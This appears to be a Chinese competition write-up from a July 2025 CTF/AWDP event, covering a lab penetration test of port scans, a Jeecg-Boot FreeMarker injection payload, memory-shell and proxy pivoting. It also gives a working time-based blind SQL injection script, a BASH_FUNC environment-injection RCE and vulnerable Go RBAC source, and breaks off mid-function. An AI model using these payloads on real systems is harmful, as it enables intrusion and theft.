前言
2025.7.19-7.20 郑州 网络安全科技馆 强网杯同款赛博厅
NISA-GreenSpark 位37 全国二等奖 一如去年
day1 渗透+CTF
day2 AWDP+CTF
今年居然又恢复申请联网了
Build
构建知识库喂ai(x)
充当爬虫干苦力活(√)
渗透
8.145.34.91
8.145.34.91:27017 open
8.145.34.91:22 open
8.145.34.91:21 open
8.145.34.91:20880 open
8.145.34.91:8070 open
8.145.34.91:81 open
8.145.34.91:8001 open
8.145.34.91:9080 open
8.145.34.91:6868 open
8.145.34.91:80 open
8.145.34.91:8016 open
8.145.34.91:82 open
8.145.34.91:6648 open
8.145.34.91:7088 open
8.145.34.91:8089 open
8.145.34.91:8020 open
8.145.34.91:11211 open
8.145.34.91:8018 open
8.145.34.91:135 open
8.145.34.91:7008 open
8.145.34.91:7007 open
8.145.34.91:7890 open
8.145.34.91:8244 open
8.145.34.91:7000 open
8.145.34.91:83 open
8.145.34.91:1118 open
8.145.34.91:3306 open
8.145.34.91:8002 open
8.145.34.91:8028 open
8.145.34.91:7070 open
8.145.34.91:1433 open
8.145.34.91:1888 open
8.145.34.91:8222 open
8.145.34.91:7002 open
8.145.34.91:8081 open
8.145.34.91:3000 open
8.145.34.91:8008 open
8.145.34.91:8258 open
8.145.34.91:5432 open
8.145.34.91:84 open
8.145.34.91:8030 open
8.145.34.91:9081 open
8.145.34.91:6379 open
8.145.34.91:8009 open
8.145.34.91:445 open
8.145.34.91:2379 open
8.145.34.91:8082 open
8.145.34.91:7071 open
8.145.34.91:139 open
8.145.34.91:7003 open
8.145.34.91:3008 open
8.145.34.91:7004 open
8.145.34.91:8038 open
8.145.34.91:8003 open
8.145.34.91:7001 open
8.145.34.91:8010 open
8.145.34.91:85 open
8.145.34.91:8083 open
8.145.34.91:8280 open
8.145.34.91:8097 open
8.145.34.91:3128 open
8.145.34.91:2008 open
8.145.34.91:7080 open
8.145.34.91:7074 open
8.145.34.91:443 open
8.145.34.91:9082 open
8.145.34.91:1521 open
8.145.34.91:8000 open
8.145.34.91:8042 open
8.145.34.91:1082 open
8.145.34.91:8080 open
8.145.34.91:8044 open
8.145.34.91:8880 open
8.145.34.91:8443 open
8.145.34.91:86 open
8.145.34.91:8004 open
8.145.34.91:9083 open
8.145.34.91:7005 open
8.145.34.91:2020 open
8.145.34.91:1000 open
8.145.34.91:8084 open
8.145.34.91:1010 open
8.145.34.91:8360 open
8.145.34.91:9001 open
8.145.34.91:8288 open
8.145.34.91:8006 open
8.145.34.91:9085 open
8.145.34.91:3505 open
8.145.34.91:7078 open
8.145.34.91:5555 open
8.145.34.91:808 open
8.145.34.91:8087 open
8.145.34.91:8048 open
8.145.34.91:1080 open
8.145.34.91:8060 open
8.145.34.91:8012 open
8.145.34.91:801 open
8.145.34.91:8011 open
8.145.34.91:87 open
8.145.34.91:880 open
8.145.34.91:8834 open
8.145.34.91:9086 open
8.145.34.91:8848 open
8.145.34.91:8085 open
8.145.34.91:8989 open
8.145.34.91:8800 open
8.145.34.91:98 open
8.145.34.91:889 open
8.145.34.91:8099 open
8.145.34.91:8899 open
8.145.34.91:8172 open
8.145.34.91:8092 open
8.145.34.91:8838 open
8.145.34.91:8100 open
8.145.34.91:8448 open
8.145.34.91:8046 open
8.145.34.91:9087 open
8.145.34.91:8086 open
8.145.34.91:8881 open
8.145.34.91:8181 open
8.145.34.91:8053 open
8.145.34.91:2375 open
8.145.34.91:10008 open
8.145.34.91:88 open
8.145.34.91:89 open
8.145.34.91:9008 open
8.145.34.91:28018 open
8.145.34.91:9981 open
8.145.34.91:8095 open
8.145.34.91:9060 open
8.145.34.91:12018 open
8.145.34.91:9443 open
8.145.34.91:8484 open
8.145.34.91:18004 open
8.145.34.91:9084 open
8.145.34.91:8118 open
8.145.34.91:9088 open
8.145.34.91:8983 open
8.145.34.91:8088 open
8.145.34.91:8098 open
8.145.34.91:8868 open
8.145.34.91:10010 open
8.145.34.91:8090 open
8.145.34.91:8180 open
8.145.34.91:8091 open
8.145.34.91:2100 open
8.145.34.91:10250 open
8.145.34.91:8858 open
8.145.34.91:9002 open
8.145.34.91:8888 open
8.145.34.91:8069 open
8.145.34.91:18001 open
8.145.34.91:18088 open
8.145.34.91:10004 open
8.145.34.91:7200 open
8.145.34.91:14000 open
8.145.34.91:8096 open
8.145.34.91:8161 open
8.145.34.91:888 open
8.145.34.91:8094 open
8.145.34.91:10001 open
8.145.34.91:8200 open
8.145.34.91:18082 open
8.145.34.91:6080 open
8.145.34.91:9998 open
8.145.34.91:8108 open
8.145.34.91:8101 open
8.145.34.91:21000 open
8.145.34.91:91 open
8.145.34.91:18000 open
8.145.34.91:9448 open
8.145.34.91:20720 open
8.145.34.91:8093 open
8.145.34.91:1081 open
8.145.34.91:8879 open
8.145.34.91:18098 open
8.145.34.91:9010 open
8.145.34.91:9090 open
8.145.34.91:9043 open
8.145.34.91:90 open
8.145.34.91:8300 open
8.145.34.91:9800 open
8.145.34.91:18090 open
8.145.34.91:9986 open
8.145.34.91:18002 open
8.145.34.91:19001 open
8.145.34.91:16080 open
8.145.34.91:9999 open
8.145.34.91:99 open
8.145.34.91:10002 open
8.145.34.91:21501 open
8.145.34.91:21502 open
8.145.34.91:800 open
8.145.34.91:9092 open
8.145.34.91:9091 open
8.145.34.91:92 open
8.145.34.91:18080 open
8.145.34.91:20000 open
8.145.34.91:9988 open
8.145.34.91:9200 open
8.145.34.91:7688 open
8.145.34.91:9094 open
8.145.34.91:9095 open
8.145.34.91:9089 open
8.145.34.91:9093 open
8.145.34.91:7777 open
8.145.34.91:1099 open
8.145.34.91:9000 open
8.145.34.91:9099 open
8.145.34.91:9096 open
8.145.34.91:12443 open
8.145.34.91:10000 open
8.145.34.91:18008 open
8.145.34.91:9100 open
8.145.34.91:9097 open
8.145.34.91:7687 open
8.145.34.91:9098 open
8.145.34.91:7680 open
[*] alive ports len is: 218
start vulscan
[*] WebTitle http://8.145.34.91 code:200 len:14323 title:FinancePro ERP系统
[*] WebTitle http://8.145.34.91:8081 code:200 len:1766 title:""
flag01
8081端口 Jeecg-Boot 后台
直接 FreeMarker 模板注入拿shell
{"sql":"select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ex(\"cat /flag\")}'" }
内存马上线,因为 IWannaGetAll 的匹配路由问题这里需要复制过去手打
docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
inet6 fe80::42:28ff:fe0a:51d9 prefixlen 64 scopeid 0x20<link>
ether 02:42:28:0a:51:d9 txqueuelen 0 (Ethernet)
RX packets 6657 bytes 305857 (305.8 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 6665 bytes 399759 (399.7 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.22.10.22 netmask 255.255.255.0 broadcast 172.22.10.255
inet6 fe80::216:3eff:fe0c:bf7a prefixlen 64 scopeid 0x20<link>
ether 00:16:3e:0c:bf:7a txqueuelen 1000 (Ethernet)
RX packets 58675 bytes 28280334 (28.2 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 71067 bytes 57811863 (57.8 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 169211 bytes 44490780 (44.4 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 169211 bytes 44490780 (44.4 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
veth0ce5688: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet6 fe80::10be:a7ff:fe2a:c312 prefixlen 64 scopeid 0x20<link>
ether 12:be:a7:2a:c3:12 txqueuelen 0 (Ethernet)
RX packets 6657 bytes 399055 (399.0 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 6689 bytes 401535 (401.5 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
双网卡,fscan开扫
[2025-07-19 10:48:52] [HOST] 目标:172.17.0.1 状态:alive 详情:protocol=ICMP
[2025-07-19 10:48:52] [HOST] 目标:172.17.0.2 状态:alive 详情:protocol=ICMP
[2025-07-19 10:48:55] [PORT] 目标:172.17.0.1 状态:open 详情:port=6379
[2025-07-19 10:48:56] [PORT] 目标:172.17.0.1 状态:open 详情:port=3306
[2025-07-19 10:48:56] [PORT] 目标:172.17.0.2 状态:open 详情:port=6379
[2025-07-19 10:48:56] [PORT] 目标:172.17.0.1 状态:open 详情:port=80
[2025-07-19 10:48:56] [PORT] 目标:172.17.0.1 状态:open 详情:port=22
[2025-07-19 10:48:56] [SERVICE] 目标:172.17.0.1 状态:identified 详情:os=Linux, info=Ubuntu Linux; protocol 2.0, banner=SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.13., port=22, service=ssh, version=8.2p1 Ubuntu 4ubuntu0.13, product=OpenSSH
[2025-07-19 10:48:56] [PORT] 目标:172.17.0.1 状态:open 详情:port=8081
[2025-07-19 10:48:56] [PORT] 目标:172.17.0.1 状态:open 详情:port=8080
[2025-07-19 10:49:00] [SERVICE] 目标:172.17.0.1 状态:identified 详情:port=3306, service=mysql, version=5.7.33-0ubuntu0.16.04.1, product=MySQL, banner=[.5.7.33-0ubuntu0.16.04.1.l:d:N1d.it2{.) mysql_native_password
[2025-07-19 10:49:00] [SERVICE] 目标:172.17.0.1 状态:identified 详情:port=6379, service=redis, banner=-NOAUTH Authentication required..
[2025-07-19 10:49:01] [SERVICE] 目标:172.17.0.2 状态:identified 详情:port=6379, service=redis, banner=-NOAUTH Authentication required..
[2025-07-19 10:49:01] [SERVICE] 目标:172.17.0.1 状态:identified 详情:port=80, service=http, version=1.18.0, product=nginx, os=Linux, info=Ubuntu
[2025-07-19 10:49:01] [SERVICE] 目标:172.17.0.1 状态:identified 详情:info=Ubuntu, port=8081, service=http, version=1.18.0, product=nginx, os=Linux
[2025-07-19 10:49:01] [SERVICE] 目标:172.17.0.1 状态:identified 详情:port=8080, service=http
[2025-07-19 10:49:01] [SERVICE] 目标:172.17.0.1 状态:identified 详情:status_code=200, length=14323, server_info=map[content-type:text/html date:Sat, 19 Jul 2025 02:49:01 GMT etag:W/"68739225-37f3" last-modified:Sun, 13 Jul 2025 11:01:57 GMT length:14323 server:nginx/1.18.0 (Ubuntu) status_code:200 title:FinancePro ERP系统], fingerprints=[], port=80, service=http, title=FinancePro ERP系统, url=http://172.17.0.1
[2025-07-19 10:49:01] [SERVICE] 目标:172.17.0.1 状态:identified 详情:fingerprints=[], port=8080, service=http, title=HTTP Status 404 – Not Found, url=http://172.17.0.1:8080, status_code=404, length=682, server_info=map[content-language:en content-length:682 content-type:text/html;charset=utf-8 date:Sat, 19 Jul 2025 02:49:01 GMT length:682 status_code:404 title:HTTP Status 404 – Not Found]
[2025-07-19 10:49:01] [SERVICE] 目标:172.17.0.1 状态:identified 详情:url=http://172.17.0.1:8081, status_code=200, length=1766, server_info=map[accept-ranges:bytes content-language:zh-CN content-type:text/html date:Sat, 19 Jul 2025 02:49:01 GMT last-modified:Sun, 13 Jul 2025 11:02:09 GMT length:1766 server:nginx/1.18.0 (Ubuntu) status_code:200 title:"" vary:origin,access-control-request-method,access-control-request-headers,accept-encoding], fingerprints=[], port=8081, service=http, title=""
[2025-07-19 10:49:43] [HOST] 目标:172.22.10.22 状态:alive 详情:protocol=ICMP
[2025-07-19 10:49:43] [HOST] 目标:172.22.10.17 状态:alive 详情:protocol=ICMP
[2025-07-19 10:49:43] [HOST] 目标:172.22.10.88 状态:alive 详情:protocol=ICMP
[2025-07-19 10:49:43] [HOST] 目标:172.22.10.253 状态:alive 详情:protocol=ICMP
[2025-07-19 10:49:46] [PORT] 目标:172.22.10.88 状态:open 详情:port=80
[2025-07-19 10:49:46] [PORT] 目标:172.22.10.22 状态:open 详情:port=80
[2025-07-19 10:49:46] [PORT] 目标:172.22.10.88 状态:open 详情:port=21
[2025-07-19 10:49:46] [PORT] 目标:172.22.10.17 状态:open 详情:port=22
[2025-07-19 10:49:46] [SERVICE] 目标:172.22.10.17 状态:identified 详情:port=22, service=ssh, version=8.2p1 Ubuntu 4ubuntu0.13, product=OpenSSH, os=Linux, info=Ubuntu Linux; protocol 2.0, banner=SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.13.
[2025-07-19 10:49:46] [PORT] 目标:172.22.10.88 状态:open 详情:port=135
[2025-07-19 10:49:46] [PORT] 目标:172.22.10.88 状态:open 详情:port=139
[2025-07-19 10:49:47] [PORT] 目标:172.22.10.88 状态:open 详情:port=445
[2025-07-19 10:49:47] [PORT] 目标:172.22.10.22 状态:open 详情:port=22
[2025-07-19 10:49:47] [SERVICE] 目标:172.22.10.22 状态:identified 详情:port=22, service=ssh, version=8.2p1 Ubuntu 4ubuntu0.13, product=OpenSSH, os=Linux, info=Ubuntu Linux; protocol 2.0, banner=SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.13.
[2025-07-19 10:49:47] [PORT] 目标:172.22.10.22 状态:open 详情:port=3306
[2025-07-19 10:49:47] [SERVICE] 目标:172.22.10.22 状态:identified 详情:port=3306, service=mysql, version=5.7.33-0ubuntu0.16.04.1, product=MySQL, banner=[.5.7.33-0ubuntu0.16.04.1.! 2(.e.3L *.%!AT6g mysql_native_password
[2025-07-19 10:49:49] [PORT] 目标:172.22.10.22 状态:open 详情:port=6379
[2025-07-19 10:49:51] [SERVICE] 目标:172.22.10.88 状态:identified 详情:service=http, port=80
[2025-07-19 10:49:51] [SERVICE] 目标:172.22.10.22 状态:identified 详情:service=http, version=1.18.0, product=nginx, os=Linux, info=Ubuntu, port=80
[2025-07-19 10:49:52] [SERVICE] 目标:172.22.10.88 状态:identified 详情:port=139, service=unknown, banner=.
[2025-07-19 10:49:52] [SERVICE] 目标:172.22.10.88 状态:identified 详情:port=445, service=unknown
[2025-07-19 10:49:52] [PORT] 目标:172.22.10.22 状态:open 详情:port=8080
[2025-07-19 10:49:52] [PORT] 目标:172.22.10.22 状态:open 详情:port=8081
[2025-07-19 10:49:54] [SERVICE] 目标:172.22.10.22 状态:identified 详情:service=redis, banner=-NOAUTH Authentication required.., port=6379
[2025-07-19 10:49:56] [SERVICE] 目标:172.22.10.88 状态:identified 详情:port=21, service=unknown
[2025-07-19 10:49:57] [SERVICE] 目标:172.22.10.22 状态:identified 详情:port=8080, service=http
[2025-07-19 10:49:57] [SERVICE] 目标:172.22.10.22 状态:identified 详情:port=8081, service=http, version=1.18.0, product=nginx, os=Linux, info=Ubuntu
接下来是代理,测试发现靶机不通外网,且没发vps,那么只能用 NeoreGeorg 搭正向代理
好消息是 IWannaGetAll 里面有对应的内存马,坏消息是 IWannaGetAll 的内存马只能同时存在一种,我这里选择重置靶机然后再次打入正向代理的内存马
172.22.10.88:445
172.22.10.88:18000
172.22.10.88:135
172.22.10.88:6648
172.22.10.88:8088
172.22.10.88:6080
172.22.10.88:8101
172.22.10.88:8100
172.22.10.88:139
172.22.10.88:98
172.22.10.88:99
172.22.10.88:9981
172.22.10.88:21000
172.22.10.88:21501
172.22.10.88:28018
172.22.10.88:443
172.22.10.88:9998
172.22.10.88:9999
172.22.10.88:3306
172.22.10.88:5432
172.22.10.88:10000
172.22.10.88:18098
172.22.10.88:18001
172.22.10.88:80
172.22.10.88:18004
172.22.10.88:1099
172.22.10.88:7080
172.22.10.88:19001
172.22.10.88:20720
172.22.10.88:18082
172.22.10.88:18088
172.22.10.88:18008
172.22.10.88:9988
172.22.10.88:889
172.22.10.88:81
172.22.10.88:8118
172.22.10.88:6868
172.22.10.88:1521
172.22.10.88:1118
172.22.10.88:20880
172.22.10.88:10001
172.22.10.88:2008
172.22.10.88:1888
172.22.10.88:6379
172.22.10.88:8108
172.22.10.88:21502
172.22.10.88:8008
172.22.10.88:8010
172.22.10.88:20000
172.22.10.88:18090
172.22.10.88:18002
172.22.10.88:7001
172.22.10.88:2020
172.22.10.88:8009
172.22.10.88:2100
172.22.10.88:7000
172.22.10.88:8090
172.22.10.88:8000
172.22.10.88:10002
172.22.10.88:8080
172.22.10.88:9986
172.22.10.88:7088
172.22.10.88:18080
172.22.10.88:1080
172.22.10.88:8092
172.22.10.88:7007
172.22.10.88:10004
172.22.10.88:3008
172.22.10.88:1082
172.22.10.88:7071
172.22.10.88:3000
172.22.10.88:27017
172.22.10.88:1000
172.22.10.88:84
172.22.10.88:8093
172.22.10.88:7003
172.22.10.88:10250
172.22.10.88:12443
172.22.10.88:14000
172.22.10.88:82
172.22.10.88:88
172.22.10.88:808
172.22.10.88:87
172.22.10.88:8089
172.22.10.88:8053
172.22.10.88:5555
172.22.10.88:8161
172.22.10.88:16080
172.22.10.88:7070
172.22.10.88:8094
172.22.10.88:8030
172.22.10.88:85
172.22.10.88:12018
172.22.10.88:22
172.22.10.88:888
172.22.10.88:2379
172.22.10.88:89
172.22.10.88:8880
172.22.10.88:86
172.22.10.88:8016
172.22.10.88:91
172.22.10.88:8095
172.22.10.88:7005
172.22.10.88:8038
172.22.10.88:8042
172.22.10.88:7777
172.22.10.88:8091
172.22.10.88:90
172.22.10.88:7078
172.22.10.88:8060
172.22.10.88:8018
172.22.10.88:8044
172.22.10.88:7688
172.22.10.88:9089
172.22.10.88:8048
172.22.10.88:801
172.22.10.88:8020
172.22.10.88:83
172.22.10.88:7890
172.22.10.88:1010
172.22.10.88:8069
172.22.10.88:10010
172.22.10.88:8280
172.22.10.88:7687
172.22.10.88:7680
172.22.10.88:8028
172.22.10.88:8012
172.22.10.88:880
172.22.10.88:9090
172.22.10.88:1433
172.22.10.88:8448
172.22.10.88:8222
172.22.10.88:1081
172.22.10.88:7002
172.22.10.88:11211
172.22.10.88:8070
172.22.10.88:8001
172.22.10.88:7008
172.22.10.88:21
172.22.10.88:8172
172.22.10.88:2375
172.22.10.88:3505
172.22.10.88:8200
172.22.10.88:8082
172.22.10.88:7004
172.22.10.88:800
172.22.10.88:8181
172.22.10.88:8046
172.22.10.88:7200
172.22.10.88:8003
172.22.10.88:8011
172.22.10.88:10008
172.22.10.88:9000
172.22.10.88:8180
172.22.10.88:9200
172.22.10.88:3128
172.22.10.88:92
172.22.10.88:9088
172.22.10.88:7074
172.22.10.88:8085
172.22.10.88:8086
172.22.10.88:8300
172.22.10.88:8244
172.22.10.88:8081
172.22.10.88:8006
172.22.10.88:8004
172.22.10.88:8834
172.22.10.88:8087
172.22.10.88:8848
172.22.10.88:8858
172.22.10.88:8881
172.22.10.88:9087
172.22.10.88:8800
172.22.10.88:8084
172.22.10.88:9083
172.22.10.88:9002
172.22.10.88:8484
172.22.10.88:9043
172.22.10.88:8868
172.22.10.88:8096
172.22.10.88:8258
172.22.10.88:9091
172.22.10.88:9095
172.22.10.88:9092
172.22.10.88:9081
172.22.10.88:9008
172.22.10.88:8083
172.22.10.88:8443
172.22.10.88:9010
172.22.10.88:9085
172.22.10.88:9448
172.22.10.88:9093
172.22.10.88:8983
172.22.10.88:8899
172.22.10.88:9001
172.22.10.88:9097
172.22.10.88:8879
172.22.10.88:9060
172.22.10.88:8098
172.22.10.88:9098
172.22.10.88:8099
172.22.10.88:8989
172.22.10.88:9080
172.22.10.88:9099
172.22.10.88:9086
172.22.10.88:8097
172.22.10.88:9084
172.22.10.88:8838
172.22.10.88:9096
172.22.10.88:9800
172.22.10.88:9094
172.22.10.88:9100
172.22.10.88:8888
172.22.10.88:8002
172.22.10.88:9082
172.22.10.88:9443
172.22.10.88:8288
172.22.10.88:8360
靶场检测项
我们刚拿到shell就是root,肯定存在高权限账户。
我们不能ping外网,故无法连接。
扫到8081端口可以访问。
jar包内存在root/root凭证,弱口令。
jar包内存在Spring相关内容,故为SpringBoot框架。
uname发现ubuntu。
我们获取shell的方式就是JDBC注入。
数据库管理接口无法进行未授权访问。
对Web02进行访问得:
>>> r=requests.options('http://172.22.10.88')
[proxychains] Dynamic chain ... 172.22.224.1:1080 ... 172.22.10.88:80 ... OK
>>> dir(r)
['__attrs__', '__bool__', '__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__enter__', '__eq__', '__exit__', '__format__', '__ge__', '__getattribute__', '__getstate__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__nonzero__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__setstate__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', '_content', '_content_consumed', '_next', 'apparent_encoding', 'close', 'connection', 'content', 'cookies', 'elapsed', 'encoding', 'headers', 'history', 'is_permanent_redirect', 'is_redirect', 'iter_content', 'iter_lines', 'json', 'links', 'next', 'ok', 'raise_for_status', 'raw', 'reason', 'request', 'status_code', 'text', 'url']
>>> r.headers
{'Date': 'Sat, 19 Jul 2025 04:38:47 GMT', 'Server': 'Apache/2.4.63 (Win64)', 'Content-Length': '199', 'Keep-Alive': 'timeout=5, max=100', 'Connection': 'Keep-Alive', 'Content-Type': 'text/html; charset=iso-8859-1'}
>>>
Web02的FTP可以用anonymous用户名和空密码访问。
下载.htaccess文件没有受到限制,故其他三个选项全错。
测试发现MS17-010利用失败。
未提到的题目为合理想象、猜测和随机选择。
CTF-day1
hard_php(复现)
www.zip 泄露源码
login.php
<?php
session_start();
include_once("lib.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}
function checkSql($s) {
if(preg_match("/regexp|between|replace|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|benchmark|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
//echo($sql);
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
//var_dump($row);
if (!$row) {
alertMes("something wrong",'index.php');
}
//echo($row['password']);
if ($row['password'] === $password) {
$_SESSION['user']['islogin']=true;
alertMes("login success!!",'admin.php');
} else {
alertMes("something wrong",'index.php');
}
}
if(isset($_GET['source'])){
show_source(__FILE__);
die;
}
?>
很眼熟,是NSSCTF web 刷题记录1 | 雲流のLowest World中亦有记载的
不一样的地方是这里把三种方法全ban了,不能 like 布尔盲注也不能 quine 注入,更没有 phpmyadmin
那尝试时间盲注
1'or/**/if(password/**/like/**/'a%',(select/**/count(*)/**/from/**/information_schema.columns/**/A,information_schema.columns/**/B,information_schema.columns/**/C),0)#
编写脚本
import requests,time
alp = "1234567890abcdefghijklmnopqrstuvwxyz~"
url = "https://eci-2ze8pzj780kl2qmhte2x.cloudeci1.ichunqiu.com:80/login.php"
flag = "asdahsofvhoi325890hf23094yhoas"
while True:
for i in alp:
data={"username":"admin","password":f"1'or/**/if(password/**/like/**/'{flag+i}%',(select/**/count(*)/**/from/**/information_schema.columns/**/A,information_schema.columns/**/B,information_schema.columns/**/C),0)#"}
# print(data)
try:
resp = requests.post(url, data, timeout=0.8)
except:
flag += i
print(flag)
break
if i == "~":
exit("over")
得到密码:asdahsofvhoi325890hf23094yhoasifb2
admin.php
<?php
session_start();
if (!isset($_SESSION['user']['islogin'])){
// echo "<h1 style = 'text-align: center;'>对不起,您无权访问此界面,请登陆</h1>";
echo "<script>location='./index.php';</script>";
exit;
}
system('echo "This is a test page, but as an administrator, you can see the files in the current directory</h1>";ls');
ls 列出当前目录下的文件:
CONST.php adca4977cb42016071530fb8888105c7.php admin.php conn.php css index.php js lib.php login.php www.zip
adca4977cb42016071530fb8888105c7.php
<?php
error_reporting(0);
foreach ($_REQUEST['env'] as $key => $value) {
if (blacklist($value)) {
$a=putenv("{$key}={$value}");
}else{
echo "Hack!!!";
}
}
highlight_file(__FILE__);
function blacklist($a){
if (preg_match('/ls|x|cat|tac|tail|nl|f|l|a|g|more|less|head|od|vi|sort|rev|paste|file|grep|uniq|\?|\`|\~|\@|\.|\'|\"|\\\\/is', $a) === 0){
return true;
}
else{
return false;
}
}
include "./admin.php";
?>
明显是p神的环境变量注入,这里用的是 BASH_FUNC_ECHO()=(){ id; }
结果我卡在最后的rce没做出来,第二天环境还在想了五分钟秒了
dir列出目录发现 flag 为 f1ag,直接用 php 读:php /*1*
easy_can
flag{00000188040000000200000000000000}
CTF-day2
PIK证书签发
仔细看看文档,我们只需要验证用户角色的字符串与内置数据库的Enum是否一致。其实就几行代码的事。
int proc_pik_usercheck(void * sub_proc,RECORD(GENERAL_RETURN,STRING) * keyevent_cmd,void * recv_msg)
{
int ret;
RECORD(TCM_PIK_DESC,USERINFO) * pik_userinfo;
RECORD(USER_DEFINE,SERVER_STATE) * server_state;
char user_name[DIGEST_SIZE];
MSG_EXPAND * msg_expand;
// get userinfo from pik req information
ret = message_get_define_expand(recv_msg,&msg_expand,TYPE_PAIR(TCM_PIK_DESC,USERINFO));
if(ret<0)
return -EINVAL;
if(msg_expand == NULL)
{
return -EINVAL;
}
pik_userinfo=msg_expand->expand;
print_cubeaudit("enter pik_usercheck function!");
// get userinfo from local information
DB_RECORD * db_record;
db_record = memdb_find_first(TYPE_PAIR(USER_DEFINE,SERVER_STATE),"user_name",pik_userinfo->username);
if(db_record == NULL)
return -EINVAL;
server_state = db_record->record;
// compare pikreq's user role with server_state's role
// if it is different, then stop pikcert process and return -EINVAL;
printf("userinfo role is %s server_state role is %d \n",pik_userinfo->user_role,server_state->role);
int urole;
if(pik_userinfo->user_role[0]=='A')urole=1;
if(pik_userinfo->user_role[0]=='U')urole=2;
if(pik_userinfo->user_role[0]=='G')urole=3;
if(urole!=server_state->role){
printf("wtf\n");
return -EINVAL;
}
ret=ex_module_sendmsg(sub_proc,recv_msg);
return ret;
}
AWDP
web-rbac
docker load < rbac.tar
导入 tar 包,docker run -p 8080:80 rbac
映射 80 端口
源码在 /app 下
package main
import (
"errors"
"os"
"path/filepath"
"strings"
"github.com/gin-gonic/gin"
)
var RBACList = make(map[string]int)
type ResTemplate struct {
Success bool
Data any
}
type ExecStruct struct {
File []string
Directory []string
Pwd []string
Flag []string
FuncName string
Param string
}
func main() {
r := gin.Default()
initRBAC()
r.GET("/", func(c *gin.Context) {
htmlContent, err := os.ReadFile("index.html")
if err != nil {
c.String(400, "Error loading HTML file")
return
}
c.Writer.Write(htmlContent)
})
r.GET("/getCurrentRBAC", func(c *gin.Context) {
var response ResTemplate
if RBACList["rbac:read"] == 1 {
response = ResTemplate{
Success: true,
Data: RBACList,
}
c.JSON(200, response)
} else {
response = ResTemplate{
Success: false,
}
c.JSON(403, response)
}
})
r.POST("/execSysFunc", func(c *gin.Context) {
var execStruct ExecStruct
var response ResTemplate
err := c.ShouldBindJSON(&execStruct)
if err != nil {
response = ResTemplate{
Success: false,
Data: map[string]string{"error": err.Error()},
}
c.JSON(400, response)
}
// permission grant
RBACToGrant := make(map[string]int)
var value string
maxDeep := 0
if execStruct.Directory != nil {
for _, value = range execStruct.Directory {
if maxDeep < 8 {
RBACToGrant["directory:"+value] = 1
maxDeep++
} else {
break
}
}
}
if execStruct.Flag != nil {
for _, value = range execStruct.Flag {
if maxDeep < 8 {
RBACToGrant["flag:"+value] = 1
maxDeep++
} else {
break
}
}
}
if execStruct.Pwd != nil {
for _, value = range execStruct.Pwd {
if maxDeep < 8 {
RBACToGrant["pwd:"+value] = 1
maxDeep++
} else {
break
}
}
}
if execStruct.File != nil {
for _, value = range execStruct.File {
// Grant temporary file:return permissions
if value == "return" && RBACList["rbac:change_return"] != 1 {
if maxDeep < 5 {
RBACToGrant["rbac:change_return:1"] = 1
RBACToGrant["file:"+value] = 1
RBACToGrant["rbac:change_return:0"] = 1
maxDeep += 3
} else {
break
}
} else {
if maxDeep < 8 {
RBACToGrant["file:"+value] = 1
maxDeep++
} else {
break
}
}
}
}
updateRBAC(RBACToGrant)
result, err := execCommand(execStruct.FuncName, execStruct.Param)
if err != nil {
response = ResTemplate{
Success: false,
Data: map[string]string{"error": err.Error()},
}
c.JSON(400, response)
} else {
response = ResTemplate{
Success: true,
Data: map[string]string{"result": result},
}
initRBAC()
c.JSON(200, response)
}
})
r.Run(":80")
}
func initRBAC() {
RBACList = make(map[string]int)
RBACList["file:read"] = 0
RBACList["file:return"] = 0
RBACList["flag:read"] = 0
RBACList["flag:return"] = 0
RBACList["pwd:read"] = 0
RBACList["directory:read"] = 0
RBACList["directory:return"] = 0
RBACList["rbac:read"] = 1
RBACList["rbac:change_read"] = 1
RBACList["rbac:change_return"] = 0
}
func updateRBAC(RBACToGrant map[string]int) {
for key, value := range RBACToGrant {
if strings.HasSuffix(key, ":read") {
if RBACList["rbac:change_read"] == 1 {
RBACList[key] = value
}
} else if strings.HasSuffix(key, ":return") {
if RBACList["rbac:change_return"] == 1 {
RBACList[key] = value
}
} else if key == "rbac:change_return:1" {
RBACList["rbac:change_return"] = 1
} else if key == "rbac:change_return:0" {
RBACList["rbac:change_return"] = 0
} else {
RBACList[key] = value
}
}
}
func execCommand(funcName string, param string) (string, error) {
if funcName == "getPwd" {
if RBACList["pwd:read"] == 1 {
pwd, err := os.Getwd()
return pwd, err
} else {
return "No Permission", nil
}
} else if funcName == "getDirectory" {
// read directory
if RBACList["directory:read"] == 1 {
var fileNames []string
err := filepath.Walk(param, func(path string, info os.FileInfo, err error) error {
fileNames = append(fileNames, info.Name())
return nil
})
if err != nil {
return "error", err
}
